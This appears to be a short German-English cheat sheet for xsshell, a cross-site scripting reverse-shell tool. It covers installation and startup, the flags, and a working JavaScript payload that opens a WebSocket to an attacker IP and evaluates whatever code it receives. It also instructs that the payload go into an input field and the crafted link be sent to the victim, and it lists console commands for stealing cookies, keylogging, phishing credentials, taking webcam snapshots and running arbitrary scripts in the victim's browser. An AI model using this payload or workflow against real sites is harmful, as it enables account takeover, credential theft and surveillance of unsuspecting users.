Xsshell

git clone

• sudo apt-get install go
• go get github.com/raz-varren/xsshell
• go install github.com/raz-varren/xsshell

start

• ./xsshell -host 127.0.0.1 -port 4444

xsshell -h Usage of xsshell:

 -cert string
   	ssl cert file
 -host string
   	websocket listen address
 -key string
   	ssl key file
 -log string
   	specify a log file to log all console communication
 -path string
   	websocket connection path (default "/s")
 -port string
   	websocket listen port (default "8234")
 -servdir string
   	specify a directory to serve files from. a file server will not be started if no directory is specified
 -servpath string
   	specify the base url path that you want to serve files from (default "/static/")
 -wrkdir string
   working directory that will be used as the relative root path for any commands requiring user provided file paths

Payload

• Payload muss ins Eingabefeld
• Generierter Link wird zum Opfer geschickt

JS Script : <script>(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://10.82.70.52:4444/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();</script>

Die Shell

start socket: 1, header: AqHFTtA

socket connected: 1

   user agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 
   page url:   http://127.0.0.1/xss.php?msg=?

   referrer:   http://127.0.0.1/xss.php?msg=?
   cookies:    

xsshell

1. listening for sockets on :8234, at url path: /s
2. starting console
3. type \? to list available commands
4. xsshell >
5. xsshell > \?
6. xsshell > \help \? \h: list available commands
7. xsshell > \alert: send an alert message to the target set
8. xsshell > usage: \alert ALERT_MESSAGE
9. xsshell > \cs: get the current cookies from the target set's current page and any cookie updates.
10. xsshell > \ct: crash the target set's tab
11. xsshell > \emd: return a list of media devices accessible to the target set's browser
12. xsshell > \ex: print out the client exploit javascript
13. xsshell > \exm: print out the minified version of the client exploit javascript
14. xsshell > \gi: download all images on the target set's page.
15. xsshell > images will be stored in DOWNLOAD_DIR.
16. xsshell > relative file paths are relative to the path provided to -wrkdir
17. xsshell > usage: \gi [DOWNLOAD_DIR]
18. xsshell > examples:
19. xsshell > \gi
20. xsshell > \gi /tmp/images
21. xsshell > \gi imgdir
22. xsshell > \kl: start a keylogger on the target set
23. xsshell > \ll: list out any links found on the target set's currently open page
24. xsshell > \pfl: open a modal on the target set's page prompting them for a username and password
25. xsshell > \ps: print out socket info for all actively connected websockets
26. xsshell > \q: exit this program
27. xsshell > \sf: send a javascript file to the target set and execute it.
28. xsshell > any data can be returned from the target set by calling `this.send(\"return data string\");` in the script.
29. xsshell > relative file paths are relative to the path provided to -wrkdir
30. xsshell > usage: \sf FILE_PATH
31. xsshell > \sfl: resend the last file that was sent using \sf, includes any new changes to the file
32. xsshell > \src: get the target set's currently rendered page source
33. xsshell > \st: set the websockets to target. one or more targets can be set with the following methods:
34. xsshell > * -targets all active websocket connections (default target set)
35. xsshell > 8 -target a single websocket connection belonging to that id number
36. xsshell > 1,2,8,10 -targets all websocket IDs in the comma separated list
37. xsshell > 4-16 -targets all websocket IDs from the lowest number listed to the highest number listed
38. xsshell > 4- -targets all websocket IDs that are greater than or equal to the listed number
39. xsshell > -16 -targets all websocket IDs that are less than or equal to the listed number
40. xsshell > usage: \st TARGET_SET
41. xsshell > examples:
42. xsshell > \st *
43. xsshell > \st 2
44. xsshell > \st 2,4,7
45. xsshell > \st 10-15
46. xsshell > \st 6-
47. xsshell > \st -100
48. xsshell > \wcs: attempt to take a snapshot from the target set's webcam, if one is available.
49. xsshell > images will be stored in DOWNLOAD_DIR.
50. xsshell > relative file paths are relative to the path provided to -wrkdir.
51. xsshell > NOTE: using this command may prompt the target set for webcam access.
52. xsshell > the target set may reject the prompt, or ignore it entirely.
53. xsshell > usage: \ws [DOWNLOAD_DIR]
54. xsshell > examples:
55. xsshell > \wcs /tmp/webcam_snaps
56. xsshell > \wcs snaps
57. xsshell > \xhr: send an xhr request from the target set's current page
58. xsshell > usage: \xhr HTTP_METHOD FULL_URL [CONTENT_HEADER] [POST_BODY]
59. xsshell > examples:
60. xsshell > \xhr GET https://google.com/
61. xsshell > \xhr POST https://google.com/ application/json {"hello": "world"}
62. xsshell >

Links

• https://github.com/shelld3v/JSshell/blob/master/README.md